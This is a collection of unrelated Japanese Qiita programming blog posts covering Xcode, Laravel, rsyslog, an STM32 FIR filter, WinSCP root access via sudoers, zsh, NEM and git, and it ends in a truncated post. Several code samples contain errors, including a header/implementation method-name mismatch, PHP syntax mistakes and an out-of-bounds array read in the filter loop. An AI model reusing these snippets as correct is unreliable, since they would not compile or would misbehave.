OmniAICreator/Qiita-1.07M huggingface dataset:
Xcode11.2でStoryboardのUITextViewがcrashする

# エラー内容
```
*** Terminating app due to uncaught exception 'NSInvalidUnarchiveOperationException', reason: 'Could not instantiate class named _UITextLayoutView because no class named _UITextLayoutView was found; the class needs to be defined in source code or linked in from a library (ensure the class is part of the correct target)'
```

# 発生条件
- Xcodeのバージョンは11.2
- StoryboardのUITextViewを使っている
- 実機端末のosバージョンが13.2以下

# 解決方法
## Xcodeをダウングレードする
11.2以外のバージョンを使う

## simulatorで検証する
この問題は実機だけで発生する

## `_UITextLayoutView` を動的に追加する
### 手順
#### UITextViewFixer.hを作る

```objc:UITextViewFixer.h

#import <Foundation/Foundation.h>

@interface UITextViewFixer : NSObject
    + (void)executeWorkaround;
@end
```
#### UITextViewFixer.mを作る

```objc:UITextViewFixer.m
#import "UITextViewFixer.h"
#import  <objc/runtime.h>

@implementation UITextViewFixer

+ (void)executeFixer {
    if (@available(iOS 13.2, *)) {
        // やることがない
    }
    else {
        const char *className = "_UITextLayoutView";
        Class cls = objc_getClass(className);
        if (cls == nil) {
            cls = objc_allocateClassPair([UIView class], className, 0);
            objc_registerClassPair(cls);
        }
    }
}

@end
```

#### appDelegateに入れる

`didFinishLaunchingWithOptions`の中に
`[UITextViewFixer executeFixer];`
を追加する

# 参考リンク
https://forums.developer.apple.com/thread/125287
https://stackoverflow.com/questions/58657087/after-upgrading-to-xcode-11-2-from-xcode-11-1-app-crashes-due-to-uitextlayoutv
Laravel 6へのcomposer update時にundefined functionエラーが出るときは

Laravel 6へのcomposer update時に以下のようなエラーが出ることがあります。

```
> Illuminate\Foundation\ComposerScripts::postAutoloadDump
> @php artisan package:discover --ansi

In cache.php line 91:
                                         
  Call to undefined function str_slug()
```


これは6からヘルパー関数がフレームワークから削除されたため、設定ファイルでエラーが発生しています。
https://readouble.com/laravel/6.x/ja/upgrade.html?#helpers

以下のように修正することで対応できます。

```php:config/cache.php
<?php

use Illuminate\Support\Str; // 追加

return [
...
    'prefix' => env('CACHE_PREFIX', Str::slug(env('APP_NAME', 'laravel'), '_').'_cache'), // Strメソッドに変更
```

他の設定ファイルでも同様のエラーが起きたら同じように修正します。
もしくは、アップグレードガイドに記載があるようにヘルパー関数用のパッケージを追加します。

```
composer require laravel/helpers
```

一気に6系へとアップグレードする場合は、色々と設定ファイルに変更が入っているので設定ファイルはすべてLaravel最新のもので上書きしてしまって、カスタマイズ箇所だけ元に戻すのが間違いないと思います。
Transformerという概念を取り入れてみよう【Laravel】

オープンソース見ていていいなと思ったので紹介します。
一言で言えばDB上のデータを整形するクラス。
機能というよりは概念なのでそんな難しいことじゃないです。

男の子はTransformerって響き好きですよね？！
あの、変形するやつです(車が変形するってことしか知りませんが...)
~~正直Transformerって言いたいってそれだけの勢いで執筆してます~~


# どういう時につかう？
```
名前：{{ $student->name }}

性別：{{ config(“trans.gender.{$student->gender}”) }}

生年月日：{{ $student->birthday_y }}年{{ $student->birthday_m }}月{{ $student->birthday_d }}
```

こんな感じのbladeテンプレート記述した人は多いと思います。

一回書くだけなら、何も問題ないのですが、色々な場所で性別描画したいとか、
誕生日描画したいとかなってくると結構うざいですよね😅
そんな時にデータベースから引っ張ってきてすぐ描画できる形に変換するのも手。
(特に、データ弄るより単純に描画させたいケースの方が多いと思います。コード値で保存したり誕生日を別々で保管しておくと編集フォームでの利用に楽だったりもするのですが)

そこで導入したいのがTransformerという概念。
これから説明するのは簡単にいうとデータの整形用クラスなのですが、
こんな感じにデータ取り出してからの整形方法をまとめて定義しておくと、
ヘルパあるのに知らなかったぁ😰とか、あっちやこっちで整形方法違うくて
混乱しちゃうぅ😫とかならなくても済みます。
探せばライブラリとかもあるようですが、難しいことでもないので自作しましょう！
以下が私が参考にした記述。

# Transformerを書いてみる

```
//Transｆormer本体ですよ
class StudentTransformer
{
    Public function __invoke(Student $student) //invokeがミソ
    {
        $data = [
        ‘name’ = $student->name,

        ‘gender’ = config(“trans.gender.{$student->gender}”),

        ‘birthday’ = $student->birthday_y . ‘年’ . $student->birthday_m . ‘月’ . $student->birthday_d . ‘日’,
        ];

        return $data;
    }
}
```

```
//Controllerですよ
Public function index(Student $student)
{
    $studentArray = (new StudentTransformer)($student); //ちょっと特殊な書き方

    return text(‘student.index’, [‘student’ => $studentArray]); 
}
```

```
//viewですよ(タグつけてサンプルかくのだるいのでテキストｗ)
名前：{{ $student[‘name’] }}

性別：{{ $student[‘gender’] }}

生年月日：{{ $student[‘birthday’] }}
```

nullで定義づけもされるのでundefinedエラー吐くこともないはず。
一度定義さえしてしまえば、コード値から文字列のデータを引き出す際に
一々configやtransディレクトリとにらめっこしたりする必要もないので大分楽になると思います。
あと場合によっては文字列整形が必要なデータもあったりするので、
そういった整形方法を統一化することも容易となります.
何より一個のファイルとしてクラスまんま他に置いておけるのはわかりやすい、
まぁぶっちゃけTraitなどでも良いかもですが。。。

# 一対多リレーションの時
一対多リレーションを組みたくなっちゃった時は少しコツがいります。
foreachとかでも良いんですけど。もっとオシャレにスタイリッシュに
書くなら私はこうします。

```
public function detail(Student $student) {
    $studentArray = (new StudentTransformer)($student);

    $hobbyArray = $student->hobbies()
        ->get()
        ->transform(function($hobby)
            return (new HobbyTransformer)($hobby);
         });

    return text(‘student.detail’, 
                [
                 ‘student’ => $studentArray;
                 ‘hobbies’ => $hobbyArray;
                 ]);
}
```

# まとめ
DBのデータを引き出しして実際にフロントで扱えるようにするフローを分かりやすく、
統一化出来るという意味で気に入っております😆
LaravelのEloquentコレクションそのままフロントに引き渡すのもそれで潤沢な
メリットはあるのですが、vueとかreactとかを導入していてDBから受け取った
配列の扱いをjsにぶん投げたい時はPHPのオブジェクトで引き渡せないので
整形してArrayに直す際にTransformerは重要な考え方になるかと思います。

あくまで機能ではなく概念なのでライブラリを使ってみたりtraitで記述してみたり、はたまた
モデルにメソッドを追加してみたりなどプロジェクトと趣向に応じて是非とも柔軟に取り入れてみてください。
EdgeやIEのみJQueryのAutocompleteが適用されていない時に真っ先に確認するべきこと

## TL;DR

`<head>`内に`<meta http-equiv="x-ua-compatible" content="IE=edge">`を入れているか確認しよう。

```
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="x-ua-compatible" content="IE=edge">
</head>
```

## `<meta http-equiv="x-ua-compatible" content="IE=edge">` とは
常に標準表示のみがされるようになります。

IEには過去のバージョンで表示出することが出来る互換表示機能があるらしく、これで開発者が泣くケースが多いらしい。

自分の場合はこのタグを入れることで、解決しました。

##参考記事

[IE対策：互換表示させない。](https://qiita.com/rico/items/09c896290e218ed2b7c3)
【Unity】3Dキャラクターの白目に出る”あのアウトライン”を消す

## 概要

![2019-11-05_16h31_21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149449/649d6372-340f-cd02-7984-e2b952a10576.png)
※画像は分かりやすく緑色のアウトラインを出しています。
(モデル:<a target="blank" href="https://ficsnade.booth.pm/items/1572406">オリジナル3Dモデル『Noy』ver1.2</a>)

3Dキャラクターのトゥーンシェーダーをセットアップする際に、顔にアウトラインを設定してしまうと、**口の周り・白目の部分・まつ毛などの小さいオブジェクト**なんかは不自然に見えるケースは多いです。
上記のようなケースのアウトラインは消したいけど、**顔の輪郭や横顔から見た際の鼻の部分の輪郭は欲しい**みたいなニーズはあると思います。
力技の解決策としては、こういったアウトライが出ないメッシュの構造にするとか、アウトライン非表示にしたいメッシュを別マテリアルとして切り出すとか、小さいオブジェクトはテクスチャに書き込むなどの方法が考えられると思いますがスマートではありません。

こういったケースでは、**アウトラインのマスクを設定する**事によって解決できます。
特殊なフレームワークや軽いスペックが求められる環境などでなければ、トゥーンシェーダーの実装においてアウトラインのマスク機能はほぼ標準実装されているものと思っても差し支えないと思います。
少なくとも、VRMのトゥーンシェーダーである<a target="blank" href="https://vrm.dev/univrm/shaders/mtoon/">MToon</a>や、Unityで使える代表的なトゥーンシェーダーである<a target="blank" href="http://unity-chan.com/download/releaseNote.php?id=UTS2_0">ユニティちゃんトゥーンシェーダー</a>ではこのアウトラインのマスクを使用する事ができます。

## アウトラインのマスク作成

![NoyMask.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149449/e17c5fc1-d2e7-230e-2f28-96ff94f0e4e9.jpeg)
今回は <a target="blank" href="https://ficsnade.booth.pm/items/1572406">Noy</a> ちゃんのアウトラインのマスクを作成してゆきます。
ダウンロードデータの中にレイヤー構成を含むPSDファイルがあるので、それをペイントソフトで読み込んで上記のような感じでテクスチャを作成します。
Noyちゃんの場合は **Head_Tex.psd** を開いて、上記のような感じで右側のマスクテクスチャを作成します。
**瞳や瞳のハイライト**などもアウトラインが出ると不格好になる事が多いので、マスクで指定します。

顔の部分にかかっているマスクの輪郭がぼかされてる理由ですが、**マスクの濃さに応じてアウトラインの太さが変わるので、暈かすことでなだらかにアウトラインの太さを変える事ができます。**
（マスクのRedチャンネルの値によって線の太さを変えてる。R255ならwidth×0、R127ならwidth×0.5 という具合）
なので、髪の毛のアウトラインをグラデーションで設定すれば**先端に近づくほどアウトラインを細くする**なども表現も可能になります。

## アウトラインのマスクを適用する

![NoyMask1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149449/fc6967e7-0d8b-6766-38fb-459997d7da49.jpeg)
マスクを設定すると顔の輪郭を表示しつつ、目の周りや口元、まつ毛などの細かいパーツの部分の表示を隠す事ができるようになりました。

### Unityでの作業

![MToonSetting.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149449/250fc497-b6e0-8145-8885-90bf8dbd8f44.jpeg)

マスクテクスチャをUnityに取り込んで、マテリアルの設定を行います。
MToonで設定する場合は、Outlineの項目にあるWidthにTextureが設定可能になってるので、そこにマスクを割り当てます。
他のトゥーンシェーダーも大体似たような設定になるかと思います。

## マスクテクスチャのスペックについて

通常のテクスチャと同様にTexture2Dによってマスクのデータが読み込まれるので、解像度は低ければ低いほどいいです。
ただし、精度の問題があるのでマスクの解像度低すぎるとうまく指定できない可能性はあります。
（512もあれば十分で、1024は大きいと思います）

なら、マテリアル分割したほうが最適化できるのでは？となるかもしれませんが、マスクテクスチャ１枚読み込むのと追加マテリアルではテクスチャ１枚の方が圧倒的に軽いです。
（一般的にボトルネックとなる事の多いCPUとGPUの通信コストを下げるのを優先する場合の話です。マスクテクスチャをロードする事でビデオメモリは圧迫します。）

## サンプルデータ

![Head_Tex_Mask_512.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149449/599706f0-a6b1-6ba6-6e42-4c07ee4f1b78.png)
実際に作成したNoyちゃんのマスクのサンプルです。ダウンロードして自由にお使いください。

## UVの情報が分からない場合の対処

![2019-11-05_17h42_46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149449/429f2a20-56e7-71db-ca6c-65f295314e47.png)
マスクを作成したい箇所がテクスチャから判断しづらい場合であったり、テクスチャ関係のファイルにUVマップが含まれてない場合は、fbxをBlenderで読み込んで、UVが欲しい箇所を選択した状態でUVモードに切り替える事でそこからUVマップを画像としてエクスポートする事ができます。
面倒ではありますが、アウトラインを消したい箇所のメッシュを選択→UVをエクスポートとするのがよいと思います。

## まとめ

<a target="blank" href="https://ficsnade.booth.pm/items/1572406">Noyちゃん</a> かわいい
syslogのフォーマット変更をしたい

# やりたいこと
messagesとかsecureとかのログフォーマットをちょこっと弄りたい

# やったこと
1．template作成
2．rsyslog.conf編集
3．syslogの再起動
4．ログファイルの確認

## 1．template作成
/etc/rsyslog.d/にtemplate.confを作成します。

```template.conf
$template template, "%timegenerated:::date-year%/%timegenerated:::date-month%/%timegenerated:::date-day% %timegenerated:::date-hour%:%timegenerated:::date-minute%:%timegenerated:::date-second% %HOSTNAME% %syslogtag% %msg%\n"
# 日付をyyyy/MM/ddの形で表示
```
## 2．rsyslog.conf編集
templateを実装するためにrsyslog.confを編集します。

```rsyslog.conf
# フォーマットを変更したいファイルにテンプレート名を追記する
*.info;mail.none;authpriv.none;cron.none                /var/log/messages
↓
*.info;mail.none;authpriv.none;cron.none                /var/log/messages;template
```

## 3．rsyslogの再起動
rsyslogを再起動します。

`systemctl restart rsyslog`
`systemctl status rsyslog`
ステータスを確認してエラーがでてなければOK

## 4．ログファイルの確認
ログファイルのフォーマットが変更されていることを確認しましょう。
今回は日付の部分の変更でしたので、

```
# 変更前
Oct  8 14:48:40 localhost hoge: hogehoge

# 変更後
2019/10/08 15:33:55 localhost hoge: hogehoge
```
みたいに目的のフォーマットになっていれば成功です。

# 参考
[ログフォーマットの変更](http://yanor.net/wiki/?UNIX%2Frsyslog%2F%E3%83%AD%E3%82%B0%E3%83%95%E3%82%A9%E3%83%BC%E3%83%9E%E3%83%83%E3%83%88%E3%81%AE%E5%A4%89%E6%9B%B4)
NucleoでFIRフィルタ

STM32マイコンを使用したNucleoボードにmbedを使って書いたプログラムでFIRフィルタを実装しました。
# はじめに
研究室で信号処理の研究をしていて、マイコンを使ってエフェクターやシンセサイザーのように音声信号を処理できるような物が作れたら面白そうだなぁと思って作りました。
#  使った物
- STM32 Nucleo Board STM32F303K8  
いつだか買って積みボードになっていたもの
- 抵抗やコンデンサ少々

# 回路
ADCの入力が負電圧に振れると困るのでVcc(3.3V)/2のバイアスをかけていますが基本的にはPCの音声出力をNucleoのA0ピンにつなげただけです。

#結果
$Fs = 8000{\rm[Hz]},Fp=0.2(1600{\rm [Hz]}),Fs=0.21(1680{\rm [Hz]})$のLPFを200次で作りました。

$1.6 {\rm [kHz]}$入力時 (黄:入力 青:出力)
![pic_71_1.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/361966/d4adaaad-e9ae-3d6d-b223-b4374bb02b1b.jpeg)

$1.7{\rm[kHz]}$入力時
![pic_71_2.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/361966/25ea11aa-8014-bdf2-5ce1-67ab0746d667.jpeg)
しっかり阻止域以上の信号を減衰させることができています。



#プログラム
サンプリングレートを決めてその周期でタイマー割り込みを発生させ、ADCによる読み込みと畳み込みによるフィルタの適用、DACによる出力を行っています。

```c
#include "mbed.h"
#include <stdlib.h>

#define BUFF_SIZE 201 //フィルタ長 = バッファサイズ
#define F_ORD BUFF_SIZE

Ticker toggle_led_ticker;

DigitalOut led1(LED1);
AnalogIn v_read(A0);
AnalogOut v_out(A3);

const float SampleRate = 1.0/8000.0;

float buff[BUFF_SIZE] = {0};
int index = 0;

//LPF 100次 フィルタ長201 Type1 Fp=0.2 Fs=0.21
float h[F_ORD] = {
 /*フィルタ係数省略*/
};

float sum;
float out;


void toggle_led() {

    //バッファの値をインデックス+1分ずらす
    //buff[] = 1,2,3,4 -> newval,1,2,3 
    for(int  i = 0; i<BUFF_SIZE - 1; i++)
    {
        buff[(BUFF_SIZE-1) - i] = buff[(BUFF_SIZE-1) - i - 1];
    }
    //buff[0](最新の読み取り)
    buff[0] = v_read.read();
    
    //畳み込み
    sum = 0.0;
    for(int i = 0; i<F_ORD; i++)
    {
        sum += h[i]*buff[BUFF_SIZE - i];
    }
    
    v_out = sum;
}

int main() {
    // Init the ticker with the address of the function (toggle_led) to be attached and the interval (100 ms)
    toggle_led_ticker.attach(&toggle_led, SampleRate);
    while (true) {
        // Do other things...
    }
}

```

# まとめ
ADCで入力を読み取り、インパルス応答との畳み込みを行うことでディジタルLPFを実装することに成功。
mbedでSTMマイコンをいじるとクロックが$8{\rm[MHz]}$で悲しいのでCubeIDEを使って上限の$72{\rm[MHz]}$まで早くして一般的なオーディオ信号を扱えるようにしたい。(この状態で割り込みを$44.1{\rm[kHz}$]にしたら動かなかった...)
xcodeで「command compileswift failed with a nonzero exit code」

## 現象

git pull origin master して実機実行したら「command compileswift failed with a nonzero exit code」とエラーが出力された。
（マージの規模がいつもより多めだった）

ビルドは成功したようになって、実機実行できるのだが、操作するとsharedにアクセスしたときに落ちる。

## 対応

ローカルのソースをすべて消して、Githubから取得し直して実行したら治った。
原因は不明だが、とりあえず、暫定対応。
WinSCPをroot権限で使用する

# 前提
- Debian10
- WinSCP

# やりたい事

- 特定ユーザーでログインしてからroot権限で操作したい

# 設定

## Debian10側

-- 特定ユーザーでSSHをrootで扱えるようにする
   ※まずはSSHで接続してから、su -でrootをとる

```shell:command
user@debian:~# su -
user@debian:~# (password)
loot@debian:~# visudo
```

GNU nanoで開かれた内容に、以下を追加してから更新して閉じる
※[user]の部分にWinSCPでログインするユーザー名を指定する

```text:/etc/sudoers.tmp
[user] ALL=NOPASSWD: /usr/lib/openssh/sftp-server
```

## WinSCP側

SFTP -> SFTPサーバーに

```config:WinSCP_SFTPサーバー
sudo /usr/lib/openssh/sftp-server
```

![winscp_01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/526027/3887a6d1-5f48-4081-a38d-c1b68c57e290.png)

# 接続

設定したユーザーで接続したら、root権限でコピーなどが行えます
シェルのカスタマイズ

###はじめに
[未来電子テクノロジー](https://www.miraidenshi-tech.jp/intern-content/program/)でインターンをしているやっきーです。

プログラミング初心者であるため、内容に誤りがあるかもしれません。
もし、誤りがあれば修正するのでどんどん指摘してください。

#シェルの種類
Unix系OS(LINUX, Mac OS)のシェルとして代表的なものにbashとzshがあります。

##bash（Bourne Again Shell）
bashは、以前のMac OSで標準搭載されていました。カスタマイズしなくてもある程度の機能が実現できます。

##zsh(Z shell)
zshは、様々なカスタマイズを施すことができるのが大きな特徴です。また、配列の要素番号が0ではなく1番から始まるという違いがあります。プログラムの補完機能が充実していることも特徴です。

#zshの導入
私の持っているmacのターミナルは標準でbashが搭載されているのでzshを入れることにしました。
[初心者向け：Zshの導入 - Qiita](https://qiita.com/iwaseasahi/items/a2b00b65ebd06785b443)
このページに詳しく紹介されています。なお、`.zshrc`ファイルは名前のない隠しファイルのため、表示できるように設定する必要があります。macでは、command+shift+ \. (ドット)で表示/非表示を切り替えることができます。

#zshの主なプラグインの紹介
zshのプラグインのインストールにはzgenを使用しました。以下のサイトで詳しく紹介されています。
[Zshプラグインをzgenでシンプルに管理する - longkey1's blog](https://blog.longkey1.net/2018/03/24/zgen/)
ここでは、私が導入したプラグインの一部を紹介します。

##1 gitのブランチがわかるようにする
git branch コマンドを使わなくてもブランチがわかるようになります。
プラグインは使用せず、　` .zshrc  `というファイルを操作して実現しました。
詳しくはここに記載されています。
[【スクショ解説付き】zshでgitのブランチ名をステータスに応じて色付き表示させる簡易設定 - Qiita](https://qiita.com/nishina555/items/f4f1ddc6ed7b0b296825)

##2 コマンドに色を付ける
シェルに以下のコマンドを入力します。

```sh
zgen load zsh-users/zsh-syntax-highlighting
```

##3 コマンドの補完をおこなう
シェルに以下のコマンドを入力します。

```
zgen load zsh-users/zsh-completions
```

##4 ヒストリサーチ
シェルに以下のコマンドを入力します。

```
zgen load zsh-users/zsh-history-substring-search
```

#参考URL
[もっと便利になれる zsh プラグインによる CLI ライフ - Qiita](https://qiita.com/b4b4r07/items/f37aadef0b3f740e8c14)
[初心者向け：Zshの導入 - Qiita](https://qiita.com/iwaseasahi/items/a2b00b65ebd06785b443)
[【スクショ解説付き】zshでgitのブランチ名をステータスに応じて色付き表示させる簡易設定 - Qiita](https://qiita.com/nishina555/items/f4f1ddc6ed7b0b296825)
[Zshプラグインをzgenでシンプルに管理する - longkey1's blog](https://blog.longkey1.net/2018/03/24/zgen/)
ブログが更新されたらスマホへプッシュ通知を送る (Microsoft Flowを使用)

## やりたいこと
特定のブログが更新された場合にスマートフォンでプッシュ通知が表示されるようにしたい。

## 流れ
マイクロソフトが提供するタスク自動化ツールであるMicrosoft Flowを使用し，対象ブログのRSSが更新されたらスマートフォン側のFlowアプリを経由してプッシュ通知を送信する。

### Microsoft Flowとは
> お気に入りのアプリを Microsoft Flow に統合して、タスクを自動化します。ワークフローの自動化により、繰り返し発生するタスクを簡単に処理できるようになります。
(https://japan.flow.microsoft.com/ja-jp/ より)

様々なサービスをオンラインで連携して自動化されたワークフローにできます。
また最初からテンプレートも用意されており，例えば，
「上司からメールを受信したらプッシュ通知を受け取る」
「新しい OneDrive ファイルを Google Drive ファイルに同期する」
「特定のカテゴリの予定を Office 365 から Google カレンダーにコピーする」
「Google カレンダーにイベントが追加されたときにメールを送信する」
「Instagram の投稿に対するコメントを 1 日後に Google スプレッドシートに保存する」
「Instagram の写真を Google Drive に保存する」
等のワークフローが簡単に作成できます。

今回は非常にシンプルに，重要な情報源等のブログ記事が更新されたらスマホにすぐ通知が来るようにしたいと思います。

## 事前準備
・Microsoftアカウントの作成
・スマートフォンにMicrosoft Flowのアプリをインストール (App Store / Google Play Store等より)

## やること

1. [Microsoft Flowのサイト](https://japan.flow.microsoft.com/ja-jp/)にアクセスする。
(サインイン，アカウント登録等を行う)
<img width="1387" alt="スクリーンショット 2019-11-05 12.23.30.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57724/69796440-2506-0848-3389-50d2124a4a12.png">

2. 左メニューの「テンプレート」からテンプレート一覧へいき，「Flowブログの更新情報を含むプッシュ通知を受け取る」を選択する。
<img width="1392" alt="スクリーンショット 2019-11-05 12.23.18.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57724/588451ba-a307-26f4-1bf2-4926890b93b9.png">

3. フローの作成を行う。
<img width="1390" alt="スクリーンショット 2019-11-05 12.24.32.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57724/044ba9f7-56c4-b450-52ab-8a9ee6a51fa7.png">

4. 上部の「編集」画面へ行く。
<img width="1400" alt="スクリーンショット 2019-11-05 12.24.47.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57724/eadb4adb-14dc-a7c5-08cb-6232473786cc.png">

5. RSSフィードのURL部分を，自分が更新情報を取得したいブログのRSSフィードURLへ書き換える。保存する。
<img width="1389" alt="スクリーンショット 2019-11-05 12.25.24.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/57724/89aac566-2bae-e046-da69-40c0eaf6daee.png">

6. 先程のワークフローの画面で「オンにする」を選択し有効にする。

7. スマートフォン側にもMicrosoft Flowアプリをインストールし，サインイン等を行う。
(ほんとは今回のワークフロー作成の手順は全てモバイルアプリ側で行えます)

完了しました！

## まとめ
Microsoft Flowを使うことで非常に簡単にアプリ連携等をしてワークフローの自動化ができました。
特に様々なテンプレートが充実していて，まずはそれをベースに自分の使いたいサービスを組み合わせると取っつきやすそうでした！

Microsoft FlowはMicrosoft Power Automateへと生まれ変わる予定で，今後様々な機能拡充も期待されます。

※本記事は自分用のメモです。
NEM2(Catapult) 環境構築

## catapult環境構築方法
基本的にcatapult bootstrapでローカルにノードを立てるか、NEMが公式で公開しているノードを使用するかのどちらかになります。

※NEMとは（https://nemtech.github.io/ja/getting-started/what-is-nem.html ）

###Catapult Service Bootstrap<br>
プライベートテストネットが作成可（あくまで開発用です）。日本語版のReadmeは古いままなので英語版推奨。
https://github.com/tech-bureau/catapult-service-bootstrap<br>

build方法は公式サイトを参考にする方がわかりやすいかもしれないです
https://nemtech.github.io/ja/getting-started/setup-workstation.html

##### 関連
* ネットワークプロパティの設定方法<br>
https://nemtech.github.io/ja/guides/network/configuring-network-properties.html
* nem2(catapult-🐘)をカスタムする by 食べるサラダさん<br>
https://qiita.com/m1z0/items/880332b741d19500edeb

### NEM公式テストネット
http://docs.nem.io/en/testnet

## EC2
* 2分でできるcatapult環境構築 on Amazon EC2
　<br>https://qiita.com/ryosasa/items/8ff61c2aa2dc891feb5f
* Faucetはこちら<br>
https://github.com/44uk/nem2-faucet/<br>
* 起動後 `peer-node-0` が立ち上がらずエラーになる場合、`docker-compose.yml` の `volumesとdepends_on` の調整が必要
* `peer-node-0` を動かすためには、 `volumes` らを外す
* commandも明示的にする必要あり。（rest-gatewayが完全に立ち上がってから、faucetを上げないとコネクションエラーになるため）

```
yaml
 faucet:
    image: 44uk/nem2-faucet:fushicho
    stop_signal: SIGINT
    command: sh -c "/bin/sleep 10 && /bin/sh /app/bin/create-env.sh && /usr/local/bin/npm start"
    environment:
      - NEM_NETWORK=MIJIN_TEST
      - NEM_API_URL=http://rest-gateway:3000
      - NEM_PUBLIC_URL=http://localhost:3000
      - NEM_PRIVATE_KEY=__USING_SPECIFIED_PRIVATE_KEY__
      - NEM_GENERATION_HASH=__YOUR_NETWORK_GENERATION_HASH__
    ports:
      - '4000:4000'
    depends_on:
      - rest-gateway
```


## https設定のフロー
※ 公式slackからの引用です。流れないよう個人的にメモがてら引用させていただきました。
https://nem2.slack.com/archives/CA214H887/p1572940064017400

下記リンク先の情報自体はNIS1のもののようですが、同じ理屈で対応できるそう。
フォワードしてるだけなので、nginxでもapacheでも各々好きなサーバでやってあげても良いとのこと。 AWS上だとElastic Load BalancingとRoute53使ってhttps化する。

* 英語版: https://blog.nem.io/https-nis-node/
* 日本語版： https://blog.44uk.net/2017/10/31/nis-with-https-by-dehydrated/
【Git】リモートに追加&push



##1.SSH公開鍵を鍵作成、リモートのサーバーに登録
https://git-scm.com/book/ja/v1/Git-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC-SSH-%E5%85%AC%E9%96%8B%E9%8D%B5%E3%81%AE%E4%BD%9C%E6%88%90

##2.リモートに追加する
（例）GitHub,GitLab、BitBucket、Backlogなど

```
$ git remote add origin 追加したいリポジトリ
```


##3.リモートにPushする

```
$ git push [作成したリポジトリ名] [ブランチ名]
```

https://www.sejuku.net/blog/71492
Laravel + Vue + Redisでいいねボタンコンポーネント作成

<h1>環境など</h1>
Docker
laravel 5.8
npm 5.6.0
Redis latest

はじめに要件を明確化し、その後サーバーの実装、フロントの実装の順で書いていきます。

<h1>満たしたい要件</h1>
①ユーザーが投稿にいいねできる
②いいねは一人一度だけ。二回押すといいねが取り消される
③いいね数の増減が非同期で確認できる
④いいねした人を時系列で取得できるようにしておきたい

<h1>サーバー側の処理</h1>
今回はいいねした投稿とユーザーをRedisのzsetで管理します。

```EloquentArticleRepository.php

//いいねした時の処理
public function like($articleId, $userId) 
{
        //unixtimeに変換
        $date = Carbon::now();
        $unixTime = $date->format('U');

        //未いいねの場合
        if(empty(Redis::zscore('article:'.$articleId, $userId))) {
            Redis::zadd('article:'.$articleId, $unixTime, $userId);
            $count = Redis::zcard('article:'.$articleId);

            return $count;

        }

        //いいね済みの場合
        Redis::zrem('article:'.$articleId, $userId);

        $count = Redis::zcard('article:'.$articleId);

        return $count;
}

//記事ごとにいいね数取得
public function getArticleLikes($articles)
{
        $likes = [];
        foreach($articles as $article) {
            $likes[$article->id] = Redis::zcard('article:'.$article->id);
        }

        return $likes;
}

```

unixtimeをscore, user_idをvalueとしてzsetに持たせることでいいねした人を時系列ソートして取得できるようにしておきました。zsetについては公式ドキュメントご覧ください。
https://redis.io/commands/zadd
非同期でいいね数更新するためにcountをreturnしています。

```ArticleController.php
public function like(Request $request)
{
        return $this->article->like($request->article_id, $this->user->getAuth()->id);
}
```

このメソッドをpostでroute定義しておきます。

<h1>フロント側(Vueコンポーネント)の実装</h1>

```LikeComponent.vue

<template>
<div>

<button v-on:click.prevent="like">
    いいね! 
</button>

{{ count }}

</div>

    
</template>
<script>
import axios from 'axios'

export default {
    name: 'app',
    props: {
        articleId: {
            type: Number,
            required: true,
            default: ''
        },
        count: {
            type: Number,
            required: true,
            default: ''
        }
    },
    data() {
        return {
            id: this.articleId,
            fav: this.count,
        };            
    },
    methods: {
        like() {
            axios.post('/articles/like', {
                article_id: this.id
            }).then((res) => {
                this.fav = res.data;
            })
        }
    }
}
</script>
```

```index.blade.php
<div id="app">
@foreach($articles as $article)
    <div class="main-lists" id="fav">
        <img src="/article_images/{{ $article->id }}.jpg" alt="img" class="article-image">
        <div class="article-contents">
              {{ $article->title }}<br>
                    {{ $article->body }}<br>
                {{ Form::open(['route' => ['articles.show', $article->id], 'method' => 'get']) }}
                     {{ csrf_field() }}
                     {{ Form::input('hidden','article_id', $article->id) }}
                     {{ Form::submit('詳しく見る',["class"=>"button"]) }}
                {{ Form::close() }}
          </div>  
          <like-component :article-id="{{ $article->id }}" :count="{{ $likes[$article->id] }}">
     </div>  
@endforeach
</div>

```

axiosでapi叩いて、responseでいいね数受け取ってbindしてます。

<h1>最後に</h1>
Vue苦手だったんですけどいざ触ってみると楽で最高だー！となりました。これも30分くらいで実装できました。
Githubのブランチ名　変更手順

# Githubのブランチ名は変えられる

Githubを利用しているとたまにアルファベットの綴りを間違えたり、「色々とブランチ名と関係ないファイル触りすぎて、ブランチ名と変更内容があっていない。。。。」ということはありませんか？この記事ではターミナルを使った簡単なブランチ名変更手順をお伝えします。

基本的な手順としては

## 1.ブランチ名を確認する
該当するディレクトリに移動し、以下の２通りの方法で確認。

## 自分が切ったローカルにあるブランチ名のみ
### $ ```git branch``` 

## チーム開発などで他の人が切ったリモートを含めた全ブランチ名

### $ ```git branch -a```

``` code:terminal 
$ git branch -a

  /ローカル、リモートのブランチが全て確認できます/
  gh-pages
  master
* message-view　(現在作業中のブランチ)
  remotes/origin/gh-pages
  remotes/origin/message-view
  remotes/origin/master
```
今回の場合であれば、
ブランチ名：　message-view　を　tweet-viewに変えたい。
とすると

## 2\.ブランチ名を変更する
### $ ```git branch -m 変更前ブランチ名　変更後ブランチ名```
``` code:terminal 
$ git branch -m message-view tweet-view 
```
## 3\.リモートの変更前ブランチを削除する
### $```git push origin :変更前ブランチ名```

``` code:terminal 
$ git push origin :message-view
```
## 4\. 変更したローカルの新しいブランチ名をリモートにpushする
### $ ```git push origin 新しいブランチ名```

```code:terminal
$ git push origin tweet-view
```

これでOK。
再び、```git branch -a```などで確認するとリモートとローカルで名前がともに変更されているはずです。
Gitのpush時エラー

## git push時にエラー
